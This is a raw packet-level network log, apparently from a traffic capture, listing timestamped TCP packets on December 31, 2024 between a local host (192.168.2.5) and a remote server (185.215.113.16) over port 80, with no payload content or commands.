Dec 31, 2024 09:48:45.877048016 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877223015 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877240896 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877253056 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877263069 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877273083 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877276897 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877284050 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877295971 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877312899 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877335072 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877384901 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877396107 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877401114 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877410889 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877420902 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877432108 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877440929 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877446890 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877453089 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877456903 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877458096 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877475977 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877485991 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877487898 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877496958 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877506971 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877516985 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877527952 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877537966 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877538919 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877537966 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877537966 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.877552032 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.877571106 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.878227949 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878241062 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878251076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878256083 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878268003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878278017 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878288031 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878298044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878308058 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878318071 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878351927 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.878351927 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.878351927 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.878397942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878408909 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878417969 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878427982 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878437996 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878441095 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.878448963 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878458977 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878468037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878504038 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878514051 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.878514051 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.878514051 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878523111 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878528118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878532887 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878537893 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878544092 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.878624916 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.878626108 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879220963 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879374027 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879390955 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879401922 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879411936 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879421949 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879431963 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879441023 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879451036 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879461050 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879470110 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879481077 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879486084 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879486084 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879486084 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879491091 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879503012 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879513025 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879534006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879549026 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879559994 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879570007 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879580975 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879590988 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879600048 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879601002 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879601002 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879601002 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879601002 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879606962 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879614115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879617929 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879622936 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879628897 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.879801035 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.879956961 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880287886 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880300045 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880310059 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880319118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880330086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880340099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880346060 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880362034 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880372047 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880382061 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880393028 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880403042 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880412102 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880414009 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880414009 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880414009 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880414009 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880422115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880433083 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880508900 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880525112 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880534887 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880543947 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880552053 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880552053 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880552053 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880554914 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880565882 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880577087 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880585909 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880597115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880606890 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.880635023 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880635023 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880635023 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.880666971 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881145000 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881175995 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881278992 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881305933 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881315947 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881325960 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881390095 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881453037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881464005 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881473064 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881483078 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881491899 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881501913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881511927 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881521940 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881532907 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881542921 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881552935 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881567955 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881567955 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881567955 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881567955 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881587982 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881598949 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881604910 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881623983 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881638050 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881644964 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881649017 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881659985 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881669044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881680965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881690025 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881700039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.881715059 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881715059 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.881755114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.909358025 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914448977 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914465904 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914480925 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914485931 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914491892 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914501905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914518118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914529085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914539099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914547920 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914547920 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914551020 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914562941 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914576054 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914586067 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914587021 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914597034 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914608955 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914609909 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914619923 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914633989 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914644003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914654970 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914664984 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914674997 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914685965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914695978 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914705992 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914710045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914710045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914710045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914710045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914717913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914813995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914813995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914843082 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914854050 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914877892 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914887905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914897919 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914907932 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914920092 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914922953 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.914931059 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914942026 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914951086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914961100 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.914972067 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.915002108 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.915002108 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.915002108 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.915002108 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.915021896 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.917431116 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922336102 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922359943 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922370911 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922380924 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922391891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922401905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922413111 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922422886 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922431946 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922442913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922501087 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922511101 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922516108 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922523975 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922523975 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922523975 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922527075 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922545910 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922557116 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922566891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922571898 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922581911 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922595978 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922606945 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922612906 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922612906 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922612906 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922612906 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922616959 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922629118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922633886 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922641039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922651052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922708988 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922708988 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922818899 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922830105 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922840118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922848940 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922859907 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922867060 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922869921 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922883034 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922921896 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922921896 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.922956944 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922969103 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922979116 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922988892 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.922998905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923015118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923024893 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923033953 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923046112 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923048019 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923055887 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923062086 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923072100 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923110962 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923110962 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923418999 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923430920 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923437119 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923469067 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923479080 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923489094 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923512936 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923513889 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923612118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923623085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923634052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923645020 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923655987 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923666000 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923676968 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923769951 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923769951 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923769951 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923769951 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923774004 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923785925 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923795938 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923805952 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923815966 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923825979 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923835993 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923840046 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923849106 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923860073 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923868895 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923878908 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923890114 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.923957109 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923957109 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.923957109 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.924410105 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924422026 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924433947 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924449921 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924459934 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924469948 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924473047 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.924480915 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924520969 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.924520969 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.924623013 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924634933 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.924643993 CET	80	49716	185.215.113.16	192.168.2.5
